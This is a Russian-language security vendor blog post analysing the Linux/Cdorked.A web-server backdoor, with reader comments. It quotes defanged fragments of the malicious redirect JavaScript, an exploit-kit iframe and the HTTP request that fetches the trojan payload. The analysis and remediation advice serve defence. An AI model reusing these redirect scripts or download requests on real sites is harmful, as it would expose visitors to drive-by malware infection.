Компания
458,83
рейтинг
13 мая 2013 в 15:41

Разное → Linux/Cdorked.A: веб-серверы под управлением Lighttpd и nginx под угрозой

В прошлой части нашего исследования мы обещали опубликовать продолжение анализа инцидента заражений серверов под управлением Linux с участием бэкдора Linux/Cdorked.A. Мы уже писали, что специалистами нашей лаборатории была установлена его главная задача, которая заключается в перенаправлении пользователей веб-сервера на вредоносные веб-сайты. Расследуя более детально этот инцидент мы пришли к следующим выводам:

  • Всего было выявлено более 400 веб-серверов, зараженных Linux/Cdorked.A. Кроме того, 50 из них осуществляют хостинг для веб-сайтов, которые входят в Alexa ТОП 100,000 самых популярных веб-сайтов.
  • Бэкдор осуществлял компрометацию веб-серверов не только под управлением Apache, но и Lighttpd, а также nginx.
  • По данным наших систем телеметрии, эта угроза была активна уже с декабря 2012 г.
  • Бэкдор использует дополнительные механизмы для обеспечения своей скрытности. В частности, нами было установлено, что вредоносный код не будет осуществлять перенаправление пользователей, если IP-адрес клиента находится в диапазоне адресов, указанных в черном списке. Этот черный список является довольно большим и включает в себя адреса, принадлежащие таким странам как Япония, Финляндия, Россия, Украина, Казахстан и Белоруссия. Кроме этого, проверка страны также выполняется по анализу HTTP-заголовка и параметру Accept-Language.
  • Наша облачная технология показывает почти 100,000 пользователей AV-продуктов ESET, которые перенаправлялись на ссылки, сгенерированные скомпрометированными веб-серверами. При этом такое перенаправление на вредоносное содержимое было заблокировано антивирусом.
  • В некоторых случаях мы наблюдали специальные перенаправления для платформ Apple iPad и iPhone.




В этом посте мы хотим остановиться более детально на возможностях этого бэкдора, которые были выявлены в процессе анализа, а также опишем более подробно доставляемый пользователям вредоносный контент и схему организации перенаправления пользователя на набор эксплойтов.

Следует отметить, что мы не знаем наверняка каким образом бэкдор попадал на серверы. Возможно вектор этой атаки не был уникальным. В то же время мы не можем сказать, что для его установки использовалась брешь в настройках cPanel, поскольку не все скомпрометированные сервера находились под его управлением. Бэкдор не имеет механизмов самораспространения и не использует уязвимость в ПО на сервере для своей установки.

На следующих скриншотах показаны места в коде бэкдора, в которых и осуществляется открытие удаленного доступа на сервер. Различные типы бинарных файлов, замещаяющие легальные файлы Lighttpd, nginx и Apache.


Lighttpd


nginx


Apache

Код бэкдора выглядит идентичным во всех трех вариантах, но перехваты, используемые внутри некоторых функций, различны, поскольку зависят от выбранного сервера и его структур данных.

Возможности бэкдора

Мы уже упоминали про команды, поддерживаемые бэкдором. В этом анализе мы остановимся на них более подробно.



Эти списки хранятся в области общей памяти, доступ к которой можно получить используя наш инструмент для анализа. Перечисленные в таблице настройки действительно дают атакующим прекрасную возможность точной настройки своего вредоносного кода при выборе целей для атаки. Linux/Cdorked.A хранит список IP-адресов уже перенаправленных клиентов с указанием времени перенаправления. Это позволяет избежать повторного перенаправления в течение указанного промежутка времени. Ни одна из этих настроек не хранится в файле на диске и модификация каждой из них выполняется через специальные HTTP-запросы, обрабатываемые бэкдором.

Типичная конфигурация бэкдора

С помощью системных администраторов, которые приняли участие в расследовании случаев инцидента компрометации веб-сервера, а также специалистов компании Sucuri мы смогли получить дампы регионов памяти, в которых Linux/Cdorked.A хранит свою информацию о конфигурации. Пример одного из таких дампов:



Пока нам не удалось получить ни одной конфигурации Linux/Cdorked.A, в которой бы содержалось более одного URL, используемого для перенаправления клиентов. Указанный редирект применяется к клиентам, которые осуществляют запросы к серверу, работая под браузерами Internet Explorer или Firefox на Windows XP, Vista, Seven. Пользователи Apple iPhone и iPad также оказались под прицелом, однако вместо перенаправления на набор эксплойтов, к ним применялась тактика перенаправления на веб-страницу с ссылками на порнографические веб-сайты. Следующий скриншот демонстрирует редирект на iPhone.



Мы уже упоминали, что конфигурация Linux/Cdorked.A включает в себя обширный черный список диапазона IP-адресов. Посетители скомпрометированного веб-сервера, пришедшие с одного из таких адресов никогда не будут перенаправлены на вредоносное содержимое. Фактически в конфигурациях бэкдора, которые мы наблюдали, блокированию подвергалось количество IP-адресов, которое представляет 50% от всех возможных адресов пространства IP v4. Клиент также не подвергается перенаправлению, если язык, установленный в поле Accept-Language HTTP-заголовка браузера, находится в черном списке. В такой список попадают языки:

  • ja, jp – японский;
  • fi – финский;
  • ru – русский;
  • uk – украинский;
  • be – белорусский;
  • kk – казахский;

Фактически злоумышленники специально ограничили географию распространения бэкдора, поскольку бесконтрольное заражение пользователей могло бы отрицательно сказаться на поддержании уже скомпрометированных серверов и наведение лишних подозрений.

Статистика перенаправлений

На самом деле эти вредоносные редиректы имеют нечто общее: в случае с Blackhole, при перенаправлении клиентов указывается часть «/info/last» в шаблоне URL-адреса. В наиболее ранних следах вредоносной активности, которые мы отследили, используется именно шаблон, в котором указана часть «/info/last», при этом использовались идентичные шаблоны DNS, о которых будет рассказано далее.

После анализа трафика, мы обнаружили более 400 веб-серверов, которые пострадали от деятельности Linux/Cdorked.A. При этом 50 из них осуществляют хостинг для веб-сайтов, которые входят в Alexa ТОП 100,000 самых популярных веб-сайтов. После публикации первой части нашего анализа, некоторые владельцы этих серверов произвели очистку серверов от этой угрозы.



Linux/Cdorked.A поддерживает временные метки последнего случая перенаправления для каждого IP-адреса. Мы смогли извлечь эту информацию из дампа памяти для того, чтобы оценить сколько редиректов один сервер может сделать в течение дня. Один из таких дампов содержал информацию о сервере, который осуществил более 28,000 редиректов за 24 часа. Такие серверы активны не все время, ниже показана статистика по перенаправлениям для нескольких серверов.





DNS Hijacking

Адреса URL-серверов, используемых бэкдором для перенаправлений, часто меняются. Однако здесь есть несколько закономерностей:

  • Обычно путь к домену имеет вид: [числа, a, b или c][символы].[tld].
  • Домен следующего уровня всегда имеет длину 16-ти hex символов.

Определенный формат поддоменов и тот факт, что они постоянно менялись дает нам основания полагать, что некоторые DNS-серверы были скомпрометированы. Мы провели несколько тестов, в которых сами модифицировали символы поддоменов и в некоторых случаях получили изменение IP-адреса при его трансляции. С некоторыми другими тестами мы смогли подтвердить тот факт, что IP-адрес, возвращаемый через сервис DNS, фактически, закодирован в имени самого поддомена. Для этого используются символы в нечетных позициях, которые формируют 4-х байтовую hex-строку, используемую потом для получения IP-адреса. Алгоритм XOR используется для формирования IP-адреса:



Для этого используется алгоритм.

byte[] = { 16, 70, 183, 11 } // From the hex string
seed = 49 // This seed changes, we have not yet found where it comes for
ip[0] = seed ^ byte[0] // 33
ip[1] = byte[0] ^ byte[1] // 86
ip[2] = byte[1] ^ byte[2] // 241
ip[3] = byte[2] ^ byte[3] // 188
// This gives us a response with IP 188.241.86.33


Цепочка перенаправления

В случае перенаправления клиента на вредоносное содержимое, он проходит через несколько специальных веб-страниц перед тем как оказаться непосредственно на странице набора эксплойтов Blackhole. На следующем скриншоте представлен пример такой цепочки.



Первая страница /index.php содержит параметр, который зашифрован с использованием base64 и был документирован в нашей предыдущей статье. После декодирования он выглядит следующим образом.

ljroujxv=isiuzv&time=1305022208-2007115935&src=141&surl=somedomain.com&sport=80&key=ED143377&suri=/tr/zeki.htm.

Эта страница содержит JavaScript, который перенаправляет пользователя на следующую страницу.

var iflag = "0"; if (top!=self) { iflag = "1"; };
var b64str = "MTQxNDExMzA1MDIyMjQ4M...luLmNvbS9zb3J0LnBocA==";
setTimeout ( function() { location.replace( "hxxp://ae334b05c4249f38" + iflag
+ b64dec(b64str) ); }, 280);


URL из второй страницы состоит из трех частей: начальный поддомен, значение параметра iflag и значение переменной b64str, генерируемое сервером. Значение параметра iflag устанавливается в 1, если текущий документ располагается в окне браузера на переднем плане. В таком случае сервер, скорее всего, отклонит запрос. Значение переменной b64str предоставляется сервером и содержит URL-адрес с очень длинной частью поддомена.

1414113050222483098587bcf02fc1731aade45f74550b.somedomain.com/sort.php

Третья часть URL содержит специфическую информацию о данном редиректе, такую как ID источника – src id, полученную из начального URL и отметку о времени – timestamp. Назначение остальных символов остается неизвестным.



Третья страница, sort.php, через определенный тайм-аут, направляет пользователя на четвертую страницу, exit.php. Типичная страница sort.php выглядит следующим образом.

function gotime() { xflag=false; top.location.replace(b64dec("aHR0cDovL2FlMzM0YjA1YzQyNDlmM...
...cD94PTEzNyZ0PXRpbWVvdXQ=")); };
var timer=setTimeout("gotime()", 21000);
var ewq;
ewq=document.createElement("span");
ewq.innerHTML=b64dec("PGlmcmFtZSBzcmM9Im...1lPjxicj4=");
setTimeout(function() { document.body.insertBefore(ewq,document.body.lastChild); }, 504);
aHr...XQ= : hxxp://ae334b05c4249f38014141130...
...50222483098587bcf02fc1731aade45f74550b.somedomain.com/exit.php?x=137&t=timeout


Эта четвертая страница показывает порнографические картинки и содержит ссылки на порнографические веб-сайты. Также страница содержит iframe, который ведет на страницу Blackhole. Пока непонятно являются ли ссылки на порно-содержание вредоносными или же представляют из себя часть партнерской программы. Ниже представлен iframe, ведущий на landing page Blackhole.

PGI...j4= : <iframe src="hxxp://ae334b05c4249f38014141130502224830...
...98587bcf02fc1731aade45f74550b.somedomain.com/info/last/index.php"
width="120" height="21" marginwidth="0" marginheight="0" frameborder="0"
scrolling="no" allowtransparency="true">
<br>

Последним шагом становится загрузка вредоносной программы на компьютер жертвы, если один из эксплойтов успешно сработал.

GET /get3.php?e=176541242&tc=1305022250-072800c977&uid=536201305032119591656771 HTTP/1.0
Host: ae334b05c4249f38.somedomain.com
User-Agent: NSISDL/1.2 (Mozilla)
Accept: */*


Наши тесты и данные телеметрии показывают, что на компьютеры пользователей устанавливалась троянская программа Win32/Glupteba.G.

Восстановление

В прошлом посте мы уже рекомендовали системным администраторам проверять целостность основных бинарных файлов, хранящихся на сервере. Мы также опубликовали инструмент dump_cdorked_config для снятия дампа региона памяти, который хранит конфигурацию Linux/Cdorked.A. Этот инструмент был обновлен для обнаружения всех вариантов бэкдора, включая версий для nginx и Lighttpd.

Для пользователей сети мы рекомендуем своевременно обновлять браузер, его расширения, ОС, а также такое критичное ПО как Java, Adobe Reader и Flash Player. Использование антивируса также является хорошей практикой.
Автор: @esetnod32
ESET NOD32
рейтинг 458,83

Комментарии (14)

  • +16
    Очень жёлтый заголовок.
    • +4
      Более того, Apache, многократно упоминаемый в тексте наряду с nginx и Lighttpd, почему-то постеснялись указать в заголовке.
      • +7
        Это такой способ нагадить в карму nginx и Lighttpd. Половина новостей после этого пишут, что уязвимы сами nginx и Lighttpd, хотя нет никакой информации о том, как оно попадает на сервер, и едва ли способ проникновения связан с уязвимостями в них.
    • –3
      И ведь не поленился же кто-то в карму насрать.
  • +2
    Неплохой детектив можно снять.
  • –3
    Использование Linux является хорошей практикой.
  • –3
    Под nginx вроде как уже патчи вышли.
    На ftp.debian.org.ua/debian-dou/ nginx-plus обещают обновить уже сегодня.
    Небольшой анонс относительно уязвимости:
    Была обнаружена связанная с CVE-2013-2028 проблема безопасности, затрагивающая некоторые предыдущие версии nginx при использовании proxy_pass к недоверенным HTTP-серверам.

    Проблема может приводить к отказу в обслуживании или к отправке клиенту содержимого памяти рабочего процесса, если бэкенд вернёт специально созданный ответ.

    Проблеме подвержены версии nginx 1.1.4 — 1.2.8, 1.3.0 — 1.4.0.

    Проблема уже исправлена в nginx 1.5.0, 1.4.1. Для исправления проблемы в устаревшей ветке 1.2.x выпущена версия 1.2.9.

    Патч для nginx 1.3.9 — 1.4.0 тот же, что и для CVE-2013-2028:

    nginx.org/download/patch.2013.chunked.txt

    Патч для более старых версий nginx (1.1.4 — 1.2.8, 1.3.0 — 1.3.8):

    nginx.org/download/patch.2013.proxy.txt
    • –1
      пардон не nginx-plus, а именно nginx обновится. nginx-plus не поддерживается.
    • +5
      Абсолютно не имеет отношения к топику.
  • 0
    # python dump_cdorked_config.py
    File «dump_cdorked_config.py», line 20
    shmid = shmget(SHM_KEY, SHM_SIZE, 0o666)
    SyntaxError: invalid syntax

    Что я делаю не так?
    • +2
      Нагуглил, версия питона старая оказалась :)
    • 0
      для старой версии питона поменяй 0o666 на 0666
      shmid = shmget(SHM_KEY, SHM_SIZE, 0666)
  • +3
    Видимо, мой вопрос не к теме этой статьи, но откуда берутся зараженные версии серверов? Злоумышленники каким-то образом получают рут-доступ и патчат веб-сервера? Или в репозториях и портах выкладывают зараженные сборки?
    Каким вообще образом работающий себе сервер может стать заражен, если к нему кроме админа по ssh, никто рутовый доступ получить не может?
    • +1
      Пока неизвестно. У меня комрады есть, нашли среди своих клиентов пораженные сервера, чесали репы и бороды, но так и не смогли понять, как именно их похачили. А дядьки крутые, админами в яндексах работают и все такое… Есть мнение, что в ход идут известные и неизвестные уязвимости в разнообразном ПО, позволяющие получить root доступ.

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.

Самое читаемое Разное